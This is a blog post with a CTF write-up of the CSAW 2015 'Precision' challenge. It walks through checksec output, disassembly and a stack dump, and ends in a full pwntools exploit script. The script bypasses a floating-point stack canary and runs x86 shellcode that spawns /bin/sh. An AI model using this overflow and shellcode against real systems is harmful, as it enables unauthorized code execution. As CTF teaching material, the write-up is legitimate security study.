Sunday, September 27, 2015

CSAW 2015 Quals: Exploitable 100 - Precision write-up

I worked on this challenge during the "CSAW 2015" as part of a CTF team called seven.

We are given a binary and need to exploit it on the remote system to get the flag.
First things first, let's check what type of protection we are dealing with.

# file precision_a8f6f0590c177948fe06c76a1831e650
precision_a8f6f0590c177948fe06c76a1831e650: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf2c69f92c3f6d68319ee39c0926e84bccdeb0371, not stripped

# /opt/checksec.sh --file precision_a8f6f0590c177948fe06c76a1831e650
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   precision_a8f6f0590c177948fe06c76a1831e650

Seems like no protection at all... sine NX is disabled, it's probably a sack based attack (e.g. overflow).
Surely enough, running the application a few times gives more insight into what we should do.

# ./precision_a8f6f0590c177948fe06c76a1831e650
Buff: 0xbfd01a48
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Got AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# ./precision_a8f6f0590c177948fe06c76a1831e650
Buff: 0xbf83e488
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nope

Looks like an ordinary echo app that just prints back whatever we type in. However, interestingly we get something that looks very much like an address on the stack (0xbf83e488).
This could be the address of the input buffer on the stack - but we'll need to confirm that to be sure.
Another interesting thing is that if we provide a long enough input, we get the message "Nope" instead of our original input.
Time to peek under the hood.

.text:0804851D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0804851D                 public main
.text:0804851D main            proc near               
.text:0804851D
.text:0804851D argc            = dword ptr  8
.text:0804851D argv            = dword ptr  0Ch
.text:0804851D envp            = dword ptr  10h
.text:0804851D
.text:0804851D                 push    ebp
.text:0804851E                 mov     ebp, esp
.text:08048520                 and     esp, 0FFFFFFF0h
.text:08048523                 sub     esp, 0A0h
.text:08048529                 fld     ds:dbl_8048690
.text:0804852F                 fstp    qword ptr [esp+98h]
.text:08048536                 mov     eax, ds:stdout@@GLIBC_2_0
.text:0804853B                 mov     dword ptr [esp+0Ch], 0 ; n
.text:08048543                 mov     dword ptr [esp+8], 2 ; modes
.text:0804854B                 mov     dword ptr [esp+4], 0 ; buf
.text:08048553                 mov     [esp], eax      ; stream
.text:08048556                 call    _setvbuf
.text:0804855B                 lea     eax, [esp+18h]
.text:0804855F                 mov     [esp+4], eax
.text:08048563                 mov     dword ptr [esp], offset format ; "Buff: %p\n"
.text:0804856A                 call    _printf
.text:0804856F                 lea     eax, [esp+18h]
.text:08048573                 mov     [esp+4], eax
.text:08048577                 mov     dword ptr [esp], offset aS ; "%s"
.text:0804857E                 call    ___isoc99_scanf
.text:08048583                 fld     qword ptr [esp+98h]
.text:0804858A                 fld     ds:dbl_8048690
.text:08048590                 fucomip st, st(1)
.text:08048592                 fstp    st
.text:08048594                 jp      short loc_80485A9
.text:08048596                 fld     qword ptr [esp+98h]
.text:0804859D                 fld     ds:dbl_8048690
.text:080485A3                 fucomip st, st(1)
.text:080485A5                 fstp    st
.text:080485A7                 jz      short loc_80485C1
.text:080485A9
.text:080485A9 loc_80485A9:                            
.text:080485A9                 mov     dword ptr [esp], offset s ; "Nope"
.text:080485B0                 call    _puts
.text:080485B5                 mov     dword ptr [esp], 1 ; status
.text:080485BC                 call    _exit
.text:080485C1 ; ---------------------------------------------------------------------------
.text:080485C1
.text:080485C1 loc_80485C1:                            
.text:080485C1                 mov     eax, str
.text:080485C6                 lea     edx, [esp+18h]
.text:080485CA                 mov     [esp+4], edx
.text:080485CE                 mov     [esp], eax      ; format
.text:080485D1                 call    _printf
.text:080485D6                 leave
.text:080485D7                 retn
.text:080485D7 main            endp
It looks like we have some sort of primitive version of a stack cookie!
After taking the input, the app check if the stack still contains the value 64.33333 (which is located at dbl_8048690).
The value seems to be: 0x475a31a5 0x40501555

And indeed, the leaked address is the address of our buffer on the stack. Guess we don't need to worry about ASLR  :)
Let's take a look at the stack

bfa8:a960|b775bb58|X.u.|
bfa8:a964|00000001|....|
bfa8:a968|00000000|....|
bfa8:a96c|00000001|....|
bfa8:a970|b777d908|..w.|
bfa8:a974|b75db8d0|..].|
bfa8:a978|bfa8aa84|....|
bfa8:a97c|bfa8c6c4|....|ASCII "precision_a8f6f0590c177948fe06c76a1831e650"
bfa8:a980|b76b2a37|7*k.|return to b76b2a37
bfa8:a984|b760b315|..`.|return to b760b315
bfa8:a988|0000002f|/...|
bfa8:a98c|b773bff4|..s.|
bfa8:a990|00000000|....|
bfa8:a994|bfa8aa30|0...|
bfa8:a998|b773cce0|..s.|
bfa8:a99c|08048385|....|return to 08048385
bfa8:a9a0|b776e590|..v.|
bfa8:a9a4|08048420| ...|
bfa8:a9a8|0804a000|....|
bfa8:a9ac|08048632|2...|return to 08048632
bfa8:a9b0|00000001|....|
bfa8:a9b4|bfa8aa84|....|
bfa8:a9b8|bfa8aa8c|....|
bfa8:a9bc|bfa8a9d8|....|
bfa8:a9c0|b760b515|..`.|return to b760b515
bfa8:a9c4|b776e590|..v.|
bfa8:a9c8|475a31a5|.1ZG|    <================================== This is the stack cookie
bfa8:a9cc|40501555|U.P@|    <================================== This is the stack cookie
bfa8:a9d0|080485e0|....|
bfa8:a9d4|00000000|....|
Since NX is not enabled for the stack, we can execute the shellcode once it is put on the stack. 
We only need to:
  1. keep in mind that at offset 152 we have a stack cookie which we must not overwrite with something else
  2. jump to the buffer (payload) address on stack and execute our shellcode
  3. find a shellcode that is getting past _isoc99_scanf

The first two steps are nothing new - I my past posts I have shown how to easily find the offset on which the jump address (step 2) needs to be, so I will not repeat it this time...
A more interesting dilemma is step 3!
I tried generating numerous shellcodes with msfvenom, only to find that my shellcode get's split at various bad characters like: 0x0b, 0x09, 0x20, and many more.
After a lot of trial and error, I finally got this exploit to get pass the _isoc99_scanf function.
After putting it all together, we get the following exploit script:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack, unpack

MAGIC_VALUE_1 = 0x475a31a5
MAGIC_VALUE_2 = 0x40501555

shellcode="\x31\xc0\xb0\x30\x01\xc4\x30\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\xb0\xb0\xc0\xe8\x04\xcd\x80\xc0\xe8\x03\xcd\x80"

conn = remote("localhost", 4444) 
# conn = remote("54.173.98.115", 1259) 

recieved = conn.recvuntil("\n")
buffer_address = int(recieved[6:], 16)
log.info("Recieved: " + recieved)
log.info("Buffer is at %s" % hex(buffer_address))
esp = buffer_address - 0x18
log.info("ESP is: %s" % hex(esp))
magic_value_address = esp + 0x98
log.info("Magic value is at: %s" % hex(magic_value_address))
log.info("Shellcode length: %s" % len(shellcode))
shellcode_address = buffer_address + 152 + 24
#shellcode_address = shellcode_address-0xa0
log.info("Shellcode is at: %s" % hex(shellcode_address))

payload = shellcode + "A" * (152-24-len(shellcode)) +str(p32(MAGIC_VALUE_1))  + str(p32(MAGIC_VALUE_2)) + "B" * 12 + str(p32(buffer_address))
# payload = "A" * 10

log.info("Sending payload")
conn.sendline(payload)
conn.interactive()

No comments:

Post a Comment